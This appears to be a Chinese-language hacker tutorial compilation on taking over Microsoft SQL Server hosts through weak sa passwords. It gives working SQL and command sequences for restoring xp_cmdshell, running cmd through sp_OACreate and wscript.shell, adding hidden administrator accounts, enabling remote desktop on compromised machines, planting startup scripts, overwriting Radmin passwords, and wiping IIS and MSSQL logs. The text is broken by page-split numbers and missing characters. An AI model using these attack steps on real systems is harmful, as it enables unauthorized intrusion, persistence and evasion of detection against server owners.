1、seo完全终结sa 当xplog70.dll文件被删除后提权(一)用SQL连接器恢复XP_CMDSHLLE的命令 (1)SQL Query Analyzersp_addextendedprocxp_cmdshell,dllname=xplog70.dll(2)首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入sp_addextendedprocxp_cmdshell,xpsql70.dll 去除sp_dropextendedprocxp_cmdshell(3)MSSQL2000sp_addextendedprocxp_cmdshell,xplog70
2、.dll 修改sa密码 sp_passwordold=null,new=complexpwd,loginame=sa 这个很简单,自己堵后门用:)(二)在可以运行XP_CMDSHELL的机器上直接开3389不需要上传的实例过程:连接到主机:202.xxx.xxx.xxx /大家可以用sql连接器连上有空口令的sql肉机命令: xp_cmdshelltypec:boot.ini/输入命令,看系统,server版的才能开3389执行成功,结果:bootloader timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)WINNT operati
3、ngsystems multi(0)disk(0)rdisk(0)partition(1)WINNT=MicrosoftWindows2000Server/fastdetect multi(0)disk(0)rdisk(0)partition(1)WINNT=MicrosoftWindows2000Server/fastdetect命令: xp_cmdshellechoComponentsc:duguxike/在c盘根目录建写入一个文件,文件名duguxike大家可以自己改为自己的执行成功,结果:命令: xp_cmdshellechoTsEnable=onc:duguxike/追加写入执行成功
4、,结果:命令: xp_cmdshelltypec:duguxike/看看duguxike里的内容是否正确执行成功,结果:Components TsEnable=on TsEnable=on命令: xp_cmdshellsysocmgr/i:c:winntinfsysoc.inf/u:c:duguxike/q/开3389,成功的话过会肉机会重启!执行成功,结果:GetLocalManagedApplicationsreturned(2)之后就看大家的了,不过要记得册除新建的duguxike文件哦!(三)不需要XP_CMDSHLL直接添加系统帐号,对XPLOG70.DLL被删很有效declares
5、hellintexecsp_oacreatewscript.shell,shelloutputexecsp_oamethodshell,run,null,c:winntsystem32cmd.exe/cnetusergchnaaa/add-如果XPCMDSHLL被删了第一条恢复第二条可以执行XPCMDSHELL但是无法利用差异备分来上传的情况下使用(本人WIN2000下测试成功)第三条XPLOG70.DLL被删除的情况下直接添加帐号前提对方了开了3389 139 23才好用但是我现在无法在XPLOG70.DLL被删而且没有开3389的机器上拿到系统权限哪为高人来指点一下!(四)当xplog70
6、.dll文件被删除后 起初,笔者也是大叹可惜的,因为如果只是xp_cmdshell被删除还好说;可是如果连xplog70.dll也被删除了,这该如何是好?狂查资料!晕啊,怎么到处都没有说的呢?难道没有解决办法吗?于是,只好自己想办法。可是从那里下手呢?想来想去,还是从sql server本身着手看看。打开查询分析器。用你捕获的sa弱口令进入目标机器,当然我们的最终目标是操纵主机而不仅仅是操纵人家的数据库哦 :)省略思考过程若干。(脑细胞累死一大批)突然,嘎嘎。怎么有这么两个存储过程啊sp_oacreate和sp_oamethod,再查查他们的作用和语法,嘿嘿。皇天不负苦心人啊。交待大家怎么用好
7、了,具体的描述,我感觉自己写不出来,没法子,从小讨厌作文。只要你连接上目标机,并发现这两个存储过程没删除(99%都没删除,看来管理员们都不了解这些存储过程的强大功能啊),那么利用您的查询分析器所有的sa弱口令机器都可以控制咯!比如我给他添加一个用户!declareshellintexecsp_oacreatewscript.shell,shelloutputexecsp_oamethodshell,run,null,c:winntsystem32cmd.exe/cnetusergchnaaa/add-呵呵,如果您发现,cmd.exe都被删掉了,试试command命令,如果这也被删掉了,那这个管
8、理员太变态了。那你上传个试试,不行,就跑吧。(五)绕过Xplog70.dll玩因为是数据库是SA权限连接的,我首先想到的是利用下面的命令: execmaster.dbo.sp_addloginrenwoxin我的目的是添加数据库用户“renwoxin”,然后将将其加入“Sysadmin”组: Execmaster.dbo.sp_addsrvrolememberrenwoxin,sysadmin然后就可以用祭出我们的“屠库宝刀”SQL查询分析器了。开始我还抱着一丝侥幸,希望可以通过: sp_addextendedprocXp_cmdshell,dllname='Xplog70.dll&
9、apos;添加Xp_cmdshell扩展过程。可惜SQL输出如下:数据库中已存在名为Xp_cmdshell的对象为了确认Xp_cmdshell是否被删除我提交如下语句: selectcount(*)frommaster.dbo.sysobjectswherextype='X'andname=Xp_cmdshell返回1,看来并未删除Xp_cmdshell对象,那问题应该是出在Xplog70.dll这个文件了,也许被改名或者删除了。到XX一通狂搜,终于找到一篇文章,文中提出了一种方法,用SQL查询分析器写入如下指令: Declareoint,fint,tint,retint,
10、aintexecsp_oacreatescripting.filesystemobject,oout这两行代码是建立SQL的文本对象 execsp_oamethodo,createtextfile,fout,c:docume1alluse1开始菜单程序启动a.vbs,1在启动菜单里写入a.vbs,当然这里只支持中文 execret=sp_oamethodf,writeline,NULL,setwshshell=createobject(wscript.shell)单引号里的都是a.vbs的内容,要一行一行的写,下同。 execret=sp_oamethodf,writeline,NULL,a=
11、wshshell.run(cmd.exe/cnetuseruser1123/add,0)execret=sp_oamethodf,writeline,NULL,b=wshshell.run(cmd.exe/cnetlocalgroupadministratorsuser1/add,0)a.vbs内容结束按照作者的说法,执行查循后会在服务器的启动程序里写入一个a.vbs脚本。等服务器重启就可以添加一个user1密码为123的用户。可是要等服务器重启,要到哪一天啊?! 对着这段代码是我是上看、下看、左看、右看,你还别说真看出点什么了。这个脚本用Sp_oamethod来调用OLE对象的Writeli
12、ne方法,突然灵光一闪,我能不能用Sp_oamethod来执行CMD命令呢?赶紧找出“SQL Server联机丛书”,其中对Sp_OAMethod描述如下:sp_OAMethod调用OLE对象的方法。语法sp_OAMethodobjecttoken,?methodname?,returnvalueOUTPUT?,parametername=parameterOUTPUT?.n参数objecttoken是先前用sp_OACreate创建的OLE对象令牌。methodname是要调用的OLE对象的方法名。用WScript.Shell对象的Run方法来运行Cmd.exe不就可以执行Cmd命令了吗?于
13、是构造如下语句:DECLAREcmdINTEXECsp_oacreate'wscript.shell',cmdoutputEXECsp_oamethodcmd,'run',null,'cmd.exe/cnetuserrenwoxin$test/add','0','true'小提示:上面语句的详细解释是:用Sp_OACreate创建OLE 对象Wscript.Shell的令牌。用Sp_oamethod调用Wscript.Shell的Run方法来执行CMD语句,添加用户renwoxin$,密码为te
14、st。“0”和“true”是RUN方法的参数:“0”可选。表示程序窗口外观的整数值,表示语句执行时隐藏CMD窗口,如果不加的话,在服务器上会有一个DOS窗口闪一下,容易暴露;“true”可选。布尔值,表示在继续执行脚本中的下一条语句之前,脚本是否等待执行完程序。如果设为True,则在执行完程序后才执行脚本,RUN方法返回由程序返回的任何错误代码。如果设为False(默认值),则RUN方法将自动在启动程序后立即返回0(不是错误代码)。 上面的代码执行后,SQL查询分析器返回一个0值,这表示执行成功了,再将renwoxin$提升为管理员:DECLAREcmdINTEXECsp_oacreate&a
15、pos;wscript.shell',cmdoutputEXECsp_oamethodcmd,'run',null,'cmd.exe/cnetlocalgroupadministratorsrenwoxin$/add','0','true'这次又返回一个0值,还等什么,赶快从3389连过去看看,顺利进入!大家肯定会想到这个RUN可以执行几乎所有的CMD命令,只是如果你要看到结果,就需要自己构造表来存储了,大家可以发挥自己的想象力了!找到SQL安装目录下的Binn文件夹,发现其中的Xplog70.dll果然
16、被删除了。再检查一下,用GetWebShell提交的ASP木马,内容居然是乱码!反正是不能执行,到现在我还是想不通是为什么,希望大侠们能著文传授。到此文章也该结束了,希望能尽快看(六)不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令 我的BLOG里有一篇文章介绍了关于SQL注入的基本原理和一些方法。最让人感兴趣的也许就是前面介绍的利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单,只需使用下面的SQL语句:EXECmaster.dbo.xp_cmdshelldirc:但是越来越多的数据库管理员已经意识到这个扩展存储过程的潜在危险,他们
17、可能会将该存储过程的动态链接库xplog70.dll文件删除或改了名,这时侯许多人也许会放弃,因为我们无法运行任何的cmd命令,很难查看对方计算机的文件、目录、开启的服务,也无法添加NT用户。对此作过一番研究,后来我发现即使xp_cmdshell不可用了,还是有可能在服务器上运行CMD并得到回显结果的,这里要用到SQL服务器另外的几个系统存储过程:sp_OACreate,sp_OAGetProperty和sp_OAMethod。前提是服务器上的Wscript.shell和Scripting.FileSystemObject可用。sp_OACreate 在MicrosoftSQLServer实例
18、上创建OLE对象实例。 语法 sp_OACreateprogid,|clsid, objecttokenOUTPUT ,context sp_OAGetProperty 获取OLE对象的属性值。 语法 sp_OAGetPropertyobjecttoken, propertyname ,propertyvalueOUTPUT ,index. sp_OAMethod 调用OLE对象的方法。 语法 sp_OAMethodobjecttoken, methodname ,returnvalueOUTPUT ,parametername=parameterOUTPUT .n思路:先在SQL Serve
19、r 上建立一个Wscript.Shell,调用其run Method,将cmd.exe执行的结果输出到一个文件中,然后再建立一个Scripting.FileSystemObject,通过它建立一个TextStream对象,读出临时文件中的字符,一行一行的添加到一个临时表中。以下是相应的SQL语句CreateTABLEmytmp(infoVARCHAR(400),IDIDENTITY(1,1)NOTNULL) DECLAREshellINT DECLAREfsoINT DECLAREfileINT DECLAREisEndBIT DECLAREoutVARCHAR(400) EXECsp_oac
20、reatewscript.shell,shelloutput EXECsp_oamethodshell,run,null,cmd.exe/cdirc:c:temp.txt,0,true -注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。 EXECsp_oacreatescripting.filesystemobject,fsooutput EXECsp_oamethodfso,opentextfile,fileout,c:temp.txt -因为fso的opentextfile方法将返回一个textstream对象,所以此时file是一个对象令牌
21、 WHILEshell0 BEGIN EXECsp_oamethodfile,Readline,outout InsertINTOMYTMP(info)VALUES(out) EXECsp_oagetpropertyfile,AtEndOfStream,isEndout IFisEnd=1BREAK ELSECONTINUE END DropTABLEMYTMP注意:如果你在进行注入测试时使用这种方法就不能有这样多的换行,必须把它们合为一行,每个语句中间用空格符隔开。( 七)利用脚本抢别人的4899肉鸡,呵呵这个4899肉鸡现在你不知道密码是无法登陆的,那我就去注册表修改密码我把他改成1234
22、56看以下脚本我在他的系统盘生成一个hack123.reg的注册表文件接下来就是写入注册表信息好,写好了现在我们导入到如成功删掉那个注册表文件OK了,我们再用123456连接4899肉鸡看看完毕附加:加NT帐号declarecmdINT execsp_oacreatewscript.shell,cmdoutput execsp_oamethodcmd,run,null,netuserhackhack/add,0,truedeclarecmdINT execsp_oacreatewscript.shell,cmdoutput execsp_oamethodcmd,run,null,netloca
23、lgroupadministratorshack/add,0,true修改RAD密码declarecmdINT execsp_oacreatewscript.shell,cmdoutput execsp_oamethodcmd,run,null,cmd.exe/cechoWindowsRegistryEditorVersion5.00hack123.reg,0,truedeclare cmd INTexec sp_oacreate wscript.shell,cmd outputexec sp_oamethod cmd,run,null,cmd.exe /c echo HKEY_LOCAL_M
24、ACHINESYSTEMRAdminv2.0ServerParameters hack123.reg,0,truedeclare cmd INTexec sp_oacreate wscript.shell,cmd outputexec sp_oamethod cmd,run,null,cmd.exe /c echo Parameter=hex:cf,c5,34,37,ad,b4,b7,63,5c,da,9f,d0,fc,61,f0,0b hack123.reg,0,truedeclare cmd INTexec sp_oacreate wscript.shell,cmd outputexec
25、sp_oamethod cmd,run,null,regedit /s hack123.reg,0,truedeclare cmd INTexec sp_oacreate wscript.shell,cmd outputexec sp_oamethod cmd,run,null,cmd.exe /c del hack123.reg /f /q,0,true(八)当SA遇到XP_CMDSHELL时有时候在入侵的时候总是碰到先烦恼的问题,比如SA遇到xp_cmdshell时,如果管理员把xp_cmdshell删了怎么办呢?总是眼看着肉鸡跑了吧!今天我就对XP_CMDSHELL做一先解释,希望大家能
26、看明白,能看懂众所周知,在MSSQL中,通过XP_cmdshell存储扩展,拥护具有sysadmin权限,用来执行系统任意命令但是那先网管也不是吃素的,都把它删除,所以在SQL Injection攻击中,获得xp_cmdshell的执行权限才是最终的目标,在MSSQL中一共有8中权限分别是 sysadmindbcreatordiskadminprocessadmin serveradminsetupadminsecurityadminbulkadmin这8种 每一个都具有不同的权限,大家都因该可以知道其中的sysadmin权限是最高的,也是我们想要的。大家都知道在MSSQL中,SA的权限是至高
27、无上的了,但是有时获得了个SA 却无法执行命令是,是不是很郁闷了呢?获得了个SA一般我们都用SQLTOOLS.EXE连接吧!一个比较好的工具,我也喜欢,呵呵!首先还是让我们看看吧!用SQLTOOLS.EXE连上后看看它的XP_cmdshell存储扩展是不是被删了,在“利用目录”菜单中打开“执行数据库命令” 填入我们要执行的命令:Selectcount(*)frommaster.dbo.sysobjectswherextype=Xandname=xp_cmdshell如果返回结果是1的话,说明它没有删除这个扩展存储过程,我们可以执行DOS命令了,如果不行呢?接着看,还有办法,我们直接在数据库命令
28、执行窗写入:Execmaster.dbo.addextendedprocxp_cmdshell,xplog70.dll;selectcount(*)from master.dbo.sysobjectswherextype=Xandname=xp_cmdshell上面的意思就是恢复默认的存储过程,如果返回1的话说明恢复成功,不然就是存储扩展被删除了,需要我们给它上传个xplog70.dll用SQLTOOLS.EXE自带的文件上传功能可以轻松实现了,把xplog70.dll文件传到对方的 c:winntsystem32下,(不行的话,需传到对方的MSSQL目录里)在执行数据库命令:Execmaster.dbo.addextendedprocxp_cmdshell,c:winntsystem32xplog70.dll好了,接下来就是我们常用的命令 net user 和 net localgroup administrators 命令了,还有清楚IIS日记和MSSQL日记就OK了!如果还不行:服务器:消息2812,级别16,状态62,行1 找不到預存程序master.dbo.addextendedproc。那也恢复一下addext
copyright@ 2008-2022 冰豆网网站版权所有
经营许可证编号:鄂ICP备2022015515号-1